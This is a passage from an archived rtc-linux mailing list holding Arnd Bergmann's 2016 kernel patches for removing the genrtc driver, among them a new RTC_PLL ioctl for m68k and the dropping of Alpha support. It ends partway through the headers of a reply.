-	struct rtc_time h;
-
-	get_rtc_time(&h);
-	return h.tm_sec;
-}
-
-static inline int get_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-static inline int set_rtc_pll(struct rtc_pll_info *pll)
-{
-	return -EINVAL;
-}
-
-#endif /* __ASM_RTC_H__ */
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 10/16] rtc: m68k: provide ioctl for q40
Date: Mon, 30 May 2016 20:57:58 +0200
Lines: 67
Approved: news@gmane.org
Message-ID: <1464634684-1248135-11-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634706 4694 80.91.229.3 (30 May 2016 18:58:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:26 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:13 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f64.google.com ([74.125.82.64])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPM2WK5AKGQE3ON4ABA-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO6-0002xF-6b
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:06 +0200
Original-Received: by mail-wm0-f64.google.com with SMTP id n129sf12854215wmn.0
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=JiTmr74gePiZHNglnLgy9o1uCJzmgYCX8VZvj7S4Qn4=;
        b=DfCuEXdc72lZQH3cs8mZJaUuFLaU+Tw/C8kk3f1+IFy6LdLepjb2iuSrVg+xdB6LmQ
         n/Ka3zVyxeVUyWmbJvSoB1VVe8rgw/n4ZXlV01c3xaYJ9CYg9bliyywjLoSRsuU7RPvq
         MIzuBLVVw8Ojaia8kxSTbX6y5qFLvRkCnFULPvy8vUGe0rv68f5IRAQZAcnH1vOlUhvD
         gdwR1/kKi1nA8hTYZWT6jIHKxxDNBNlP2CRScozC3s5Myg+ei884Vcuzk/0mQoze8Cii
         k77HmhC+8Mo4Qpvh0HyJodxS0WqSpfmQcRHH+H2CFSJepbfH0nvxWIJPIDltw2pZRp8F
         BjTQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=JiTmr74gePiZHNglnLgy9o1uCJzmgYCX8VZvj7S4Qn4=;
        b=ewNCvXFFvD9PJjqD42MDycMhe8wgjObfL6dCa0UlW1xI6kEn8oSisZbHByfBom81/m
         RWwu0OVgqyoVv3GZdQaTscZvVZUhZ9gLKnrTPQIl6eDrVfH1aGAewJn/XKgnURqEsXIC
         mobq8wLZmgfEOG7bCqXB3APstWmo0CsZS9qtuiEigODljtgRhN0F1a8LBuS0XUOR9Jr7
         XDN4THCQMX88H+YtOuhhMh7kbPcPMtMfNqZnrAsA/jXmoww6BIWGkbv/KxP2BEWyFkkV
         dqUpqL52kLcmeAgpRe9z1YhWn0YprcuK7bMegNRzRdCZO/UaMF4+jxZOYzjaiVlbLHXY
         fzgA==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tKBoPBkI9dB5l6B6pj2+X+ve+ErItkkBgmjL+NJjaImPt9H6vEkOtDyyVuQrXg8cA==
X-Received: by 10.28.53.66 with SMTP id c63mr32985wma.10.1464634685795;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.154.83 with SMTP id c80ls865980wme.10.canary; Mon, 30 May
 2016 11:58:05 -0700 (PDT)
X-Received: by 10.28.35.9 with SMTP id j9mr1196025wmj.7.1464634685365;
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [217.72.192.73])
        by gmr-mx.google.com with ESMTPS id l68si1161827wmd.3.2016.05.30.11.58.05
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:05 -0700 (PDT)
Received-SPF: neutral (google.com: 217.72.192.73 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=217.72.192.73;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MTxeT-1az2Cm3Bon-00QnVn; Mon, 30 May
 2016 20:58:02 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:gHIkoH1ulTlAW4drwalu3Aq1cX6DSBjBf4x1GaEqfDQV4MjZbxe
 BZ3FDqtKMgsvGpnq4rKSdZhGKQtAMWsosbgn/hsZgPHOvoWraZ0pO2zrHWGqD3CTw03WrQu
 xErDHmJTQwbWTC0FPUH4eXPXIx2b21hzQrTMHv4tRZITHQE1RN7/7PfdHGq02oFnDmFJrZX
 AtYz9i19TAFsSpENXnF8Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ur4YYMqA46w=:ogt8yCwt4e3TtUvZWALOV5
 +BbjIa/KG8/A4+iG/d1AGaiEdb3WZRC3P6HkqNpH6W31ZhIpyuqjQ+RwShXEO32pNYlUYQi+Y
 htXnViT1nTw9hVRon2ukNB8sR0RHG36rwXtKbmTDMH2zwTJyoh7wlMFqTnb4fRM+2qunPv4Gf
 wxAu5toVkgkHNieYzHIloZkRs4fwv+JJGTsK3HnRjaBRzdw0CplFwRUGExIn12jAsDgyFmLKI
 Py8Y+5Lrc0Xl8m6lMqnPjVOg3JQRCiYWnFV/08xojaJNSsknkjUSHTIY16Ck3+eu4NiKcjd19
 sqpBIHSxKQmWrowHmnN+Eq5fcTmjJsVEeXIMfxjKNLcEMeh4ScG0RLaVC1wBGeGkQREz7tLx/
 5YFFSdHZ2G6Gzt10ZwPMz6i2SYEGEp0Jo/NWRBoTCBEVsprnrt6aPBQ59DVmwQeZTJ5RLysJn
 BzRpTe5TMUZtzWJilQnepuu5Ggg1Um8JmVifxh4IVfBuvTKCklqksY4Q1juwD5/oQga0ZjJrK
 fH1mYfK13vb1jB2QuHBE1EAQrcHnHjMhcVUes1cFv9ijaPiC2VSwaZlSVD0VqmYOOXDy0okRx
 LjWb0dJggvyVbTqxaBzEjg4UCuH6ahr7k40oTCZLUgNvZm0wr8R4PTq1m8GZAB332LQ4yUFGB
 DiNhdBON+KHLJI+bHeVAtfE2CjHuMdeMjaCQTnhZUyvopXa0ex3JRvW+IkXx6TtEW52Q=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 217.72.192.73 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:44 gmane.linux.ports.alpha:3750 gmane.linux.kernel:2230348 gmane.linux.ports.parisc:26804 gmane.linux.ports.ppc64.devel:127852 gmane.linux.ports.sh.devel:54137 gmane.linux.kernel.cross-arch:32184
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/44>

The q40 platform is the only machine in the kernel that provides
RTC_PLL_GET/RTC_PLL_SET ioctl commands in its rtc through the
mach_get_rtc_pll/mach_set_rtc_pll callbacks.

However, this currenctly works only in the old-style genrtc
driver, not the (somewhat) modern rtc-generic driver replacing
it. This adds an ioctl implementation to the m68k generic_rtc_ops
in order to let both drivers provide the same API.

After this, we should be able to remove support for genrtc
from the m68k architecture.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/m68k/kernel/time.c | 25 +++++++++++++++++++++++++
 1 file changed, 25 insertions(+)

diff --git a/arch/m68k/kernel/time.c b/arch/m68k/kernel/time.c
index bd6417d38d5a..4e5aa2f4f522 100644
--- a/arch/m68k/kernel/time.c
+++ b/arch/m68k/kernel/time.c
@@ -100,7 +100,32 @@ static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
 	return 0;
 }
 
+static int rtc_ioctl(struct device *dev, unsigned int cmd, unsigned long arg)
+{
+	struct rtc_pll_info pll;
+	struct rtc_pll_info __user *argp = (void __user *)arg;
+
+	switch (cmd) {
+	case RTC_PLL_GET:
+		if (!mach_get_rtc_pll || mach_get_rtc_pll(&pll))
+			return -EINVAL;
+		return copy_to_user(argp, &pll, sizeof pll) ? -EFAULT : 0;
+
+	case RTC_PLL_SET:
+		if (!mach_set_rtc_pll)
+			return -EINVAL;
+		if (!capable(CAP_SYS_TIME))
+			return -EACCES;
+		if (copy_from_user(&pll, argp, sizeof(pll)))
+			return -EFAULT;
+		return mach_set_rtc_pll(&pll);
+	}
+
+	return -ENOIOCTLCMD;
+}
+
 static const struct rtc_class_ops generic_rtc_ops = {
+	.ioctl = rtc_ioctl,
 	.read_time = rtc_generic_get_time,
 	.set_time = rtc_generic_set_time,
 };
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v4 05/16] char/genrtc: remove alpha support
Date: Mon, 30 May 2016 20:57:53 +0200
Lines: 63
Approved: news@gmane.org
Message-ID: <1464634684-1248135-6-git-send-email-arnd@arndb.de>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464634707 4708 80.91.229.3 (30 May 2016 18:58:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 18:58:27 +0000 (UTC)
Cc: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org,
	gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
	deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org,
	mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org,
	dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org,
	linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org,
	linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org,
	rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org,
	linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
To: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Original-X-From: rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org Mon May 30 20:58:12 2016
Return-path: <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
Envelope-to: gldr-rtc-linux@m.gmane.org
Original-Received: from mail-wm0-f64.google.com ([74.125.82.64])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <rtc-linux+bncBDEKVJM7XAHRBPU2WK5AKGQEYDMY6AY-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>)
	id 1b7SO7-0002xc-45
	for gldr-rtc-linux@m.gmane.org; Mon, 30 May 2016 20:58:07 +0200
Original-Received: by mail-wm0-f64.google.com with SMTP id a136sf12849126wme.1
        for <gldr-rtc-linux@m.gmane.org>; Mon, 30 May 2016 11:58:06 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlegroups.com; s=20120806;
        h=sender:mime-version:from:to:cc:subject:date:message-id:in-reply-to
         :references:x-original-sender:x-original-authentication-results
         :reply-to:precedence:mailing-list:list-id:x-spam-checked-in-group
         :list-post:list-help:list-archive:list-subscribe:list-unsubscribe;
        bh=hhcQJ856ofmw3Z5CpuZkC04JwyGib/MaYSXIft+FZ7w=;
        b=ybCFXdlsC2J234pfrCVYfaihYSgcTQr1nrxgbWaQlzdIP2YL5YOx118OmeZrMdEyl6
         KeUKeaqYU+GdF9JTr5doiyoVDTN8WVHv4VhIj1MXGqpDLu6g9P8zC0eUh+O0FZl2IWHw
         owoTk88o5uCBLt6MU7szHyKRfcgcaaR+2G/31h9wO/G7SID5e2dfRYpjee5Zl5rGXQJP
         lUwzFTwHRqgsvwJn0q1tAQlbEOLQCbgE+G5JIevJRGbEprVTmFgSYtjNLew4uf7c/JnJ
         9mG2bvINocgC//Uv5uyWHEt53p5rcr7V/z8K1346+QgicZm4jhU3HtRiRU/kclCpIENO
         /Olg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=sender:x-gm-message-state:mime-version:from:to:cc:subject:date
         :message-id:in-reply-to:references:x-original-sender
         :x-original-authentication-results:reply-to:precedence:mailing-list
         :list-id:x-spam-checked-in-group:list-post:list-help:list-archive
         :list-subscribe:list-unsubscribe;
        bh=hhcQJ856ofmw3Z5CpuZkC04JwyGib/MaYSXIft+FZ7w=;
        b=LqzRETPSZ/fysyCFKVCMzTQNomF+Kjl1Nd3SqjdUQXQQU7Lx7uEQYTKQE3IfiU/mLd
         zYAtGwqG7GgEB6twnVImIfkEVWSIjltbSyq45WYe9nbrTopgaLYF4qMyGE6Fpy+DPAH3
         sBWCMCbMclfxULOtDrCyr9RcIhzNrlgPRV38z0DDET5jaGChT7QG4ezbxY66NfmvuzK/
         8sKEkUulGJO5wqfkPWaaduJ2e0im2ClBTy39KbMlltJAUXy7UtyHWjR9nJfILMuGbv2R
         dRndce+1jm+KlLEf4quMQMVm8ziFU201n7ppjroOL73I2lg5YMVCyoaTh1OUJsWlcKPY
         URHw==
Original-Sender: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Gm-Message-State: ALyK8tIwb5ICGJxFI14rj+2drrlaBUJALoKKNlEnXFW1P9omc/3TehsnBL6rI6af9fhHjw==
X-Received: by 10.28.152.195 with SMTP id a186mr32795wme.3.1464634686741;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
X-BeenThere: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Original-Received: by 10.28.43.71 with SMTP id r68ls773816wmr.13.canary; Mon, 30 May
 2016 11:58:06 -0700 (PDT)
X-Received: by 10.194.216.10 with SMTP id om10mr2968505wjc.3.1464634686274;
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Original-Received: from mout.kundenserver.de (mout.kundenserver.de. [212.227.17.13])
        by gmr-mx.google.com with ESMTPS id l184si1137950wmg.2.2016.05.30.11.58.06
        for <rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 30 May 2016 11:58:06 -0700 (PDT)
Received-SPF: neutral (google.com: 212.227.17.13 is neither permitted nor denied by best guess record for domain of arnd-r2nGTMty4D4@public.gmane.org) client-ip=212.227.17.13;
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MORLZ-1bB2kU04rl-005m55; Mon, 30 May
 2016 20:57:59 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1464634684-1248135-1-git-send-email-arnd-r2nGTMty4D4@public.gmane.org>
X-Provags-ID: V03:K0:FA5lK/Vru53r+6fNNVlwDLCxGSe1tN8F1/Tu+C8ttHBOeQQXVnm
 iQWrn0GAQE2tAuPv6kTMgHfY6Nqy6d0UJUIgvCR54Y/+mcHd7/aW4PPLX9mxNUU8R0CCaw4
 0v54ycGhzHZ4PSOwSS6rzS6a2qUvtUJskDhvMjmGZMs+5RoF+isuBKIFHIMkqX2xsY5euL3
 WOikTjKpVl5Q7M/UzMu0g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:NgN4yUKzOJM=:WxGeDUmemm6+DLCdzWdIRL
 +FJr6qh0mYUdAFi51X6ixKBkShKsee15rMb8mZHpHOYmt98BW+c5kk7sjzkdqeIaabIqZI5QS
 3lXlfdVaDgC/9ufFOKMZxhg0p5QTNO+OfX//r8bP6luSbkdls8wPRwGO38kF/TT5ITvFS+SQn
 5l7Rw0+UcU1dsy/ObckQ31O88BURZnpBE1RNffC4nnqdC6xo41ddT2ADmKvr8xQQ3mNjZoRML
 40Xb5B+fumY9o9Flr7LipN1aKniN4Qq/c5DgWLzuqfpPs/fZQFC6NGAcdeNUt7rQG6vAc/zkA
 /mUXn04cY8da+SuXciY3CRSo89DIhF64aDfBFmrT2qLlb2Sk9Ll7Ay32VCCrJD/QLdyGGX3rQ
 /yxuDG7h1BuWd9zieDgRW53KJ/E/F5ANz5WRob62OS8bu2Qyqs2Tw6MTaeznM8H9mtN4sXWgZ
 cPMkMNQAxbi/uSkWSNwRPhVLeI5R/uTsSsCE4qOWI5SoInz+iMTvBQ1xWB3+7r5eMMQ7dbUZq
 zUunDPBo9Vz+KRB5ZUHQ//k4mF/bp9u+Fh8DLRPmzdpwApsEnUN0z7XKtet/FocAybYybnPZW
 Tx68Z0LPrIt/oXy8vh0dJvZSXI3R1P0Y4930fEnZmMtX00OtDDDURoA0maD9qlB64wbEElaJ8
 g2P3vLcTLb9EpfL0Ll9UPj+bSLLjEIJ7YjT5wIkdmDVm78fq7zDNx3b5n+zHFVLGJl2g=
X-Original-Sender: arnd-r2nGTMty4D4@public.gmane.org
X-Original-Authentication-Results: gmr-mx.google.com;       spf=neutral
 (google.com: 212.227.17.13 is neither permitted nor denied by best guess
 record for domain of arnd-r2nGTMty4D4@public.gmane.org) smtp.mailfrom=arnd-r2nGTMty4D4@public.gmane.org
Precedence: list
Mailing-list: list rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org; contact rtc-linux+owners-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
List-ID: <rtc-linux.googlegroups.com>
X-Spam-Checked-In-Group: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
X-Google-Group-Id: 712029733259
List-Post: <https://groups.google.com/group/rtc-linux/post>, <mailto:rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Help: <https://groups.google.com/support/>, <mailto:rtc-linux+help-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Archive: <https://groups.google.com/group/rtc-linux
List-Subscribe: <https://groups.google.com/group/rtc-linux/subscribe>, <mailto:rtc-linux+subscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>
List-Unsubscribe: <mailto:googlegroups-manage+712029733259+unsubscribe-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org>,
 <https://groups.google.com/group/rtc-linux/subscribe>
Xref: news.gmane.org gmane.linux.drivers.rtc:45 gmane.linux.ports.alpha:3751 gmane.linux.kernel:2230349 gmane.linux.ports.parisc:26805 gmane.linux.ports.ppc64.devel:127853 gmane.linux.ports.sh.devel:54138 gmane.linux.kernel.cross-arch:32185
Archived-At: <http://permalink.gmane.org/gmane.linux.drivers.rtc/45>

The genrtc driver serves no purpose on Alpha because it drives the
same hardware as the original rtc.c driver, and the newer rtc-generic.c
or rtc-cmos.c drivers on architectures that use the asm-generic/rtc.h
header.

The defconfig uses CONFIG_RTC=y, so this driver is not used by default.
At one point it was used to abstract a quirk for the "Marvel" platform,
but it does not do this any more after the code was moved into yet
another driver in arch/alpha/kernel/rtc.c.

Signed-off-by: Arnd Bergmann <arnd-r2nGTMty4D4@public.gmane.org>
---
 arch/alpha/include/asm/rtc.h    | 1 -
 arch/alpha/kernel/core_marvel.c | 1 -
 drivers/char/Kconfig            | 2 +-
 3 files changed, 1 insertion(+), 3 deletions(-)
 delete mode 100644 arch/alpha/include/asm/rtc.h

diff --git a/arch/alpha/include/asm/rtc.h b/arch/alpha/include/asm/rtc.h
deleted file mode 100644
index f71c3b0ed360..000000000000
--- a/arch/alpha/include/asm/rtc.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/rtc.h>
diff --git a/arch/alpha/kernel/core_marvel.c b/arch/alpha/kernel/core_marvel.c
index 53dd2f1a53aa..d5f0580746a5 100644
--- a/arch/alpha/kernel/core_marvel.c
+++ b/arch/alpha/kernel/core_marvel.c
@@ -24,7 +24,6 @@
 #include <asm/gct.h>
 #include <asm/pgalloc.h>
 #include <asm/tlbflush.h>
-#include <asm/rtc.h>
 #include <asm/vga.h>
 
 #include "proto.h"
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 31b5861649ee..e3f2f3e293e5 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on ALPHA || M68K || MN10300 || PARISC || PPC
+	depends on M68K || MN10300 || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
-- 
2.7.0

-- 
You received this message because you are subscribed to "rtc-linux".
Membership options at http://groups.google.com/group/rtc-linux .
Please read http://groups.google.com/group/rtc-linux/web/checklist
before submitting a driver.
--- 
You received this message because you are subscribed to the Google Groups "rtc-linux" group.
To unsubscribe from this group and stop receiving emails from it, send an email to rtc-linux+unsubscribe-/JYPxA39Uh5TLH3MbocFF+G/Ez6ZCGd0@public.gmane.org
For more options, visit https://groups.google.com/d/optout.


From - Thu Nov 08 21:38:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexandre Belloni <alexandre.belloni-wi1+55ScJUtKEb57/3fJTNBPR1lH4CV8@public.gmane.org>
Newsgroups: gmane.linux.drivers.rtc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 00/16] genrtc removal
Date: Mon, 30 May 2016 22:32:07 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20160530203207.GY3451@piout.net>
References: <1464634684-1248135-1-git-send-email-arnd@arndb.de>
Reply-To: rtc-linux-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1464640346 25082 80.91.229.3 (30 May 2016 20:32:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 30 May 2016 20:32:26 +0000 (UTC)
Cc: geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org, mpe-Gsx/Oe8HsFggBc27wqDAHg@public.gmane.org, dalias-8zAoT0mYgF4@public.gmane.org,
	dhowells-H+wXaHxf7aLQT0dZR+AlfA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	a.zummo-BfzFCNDTiLLj+vYz1yj4TQ@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org,
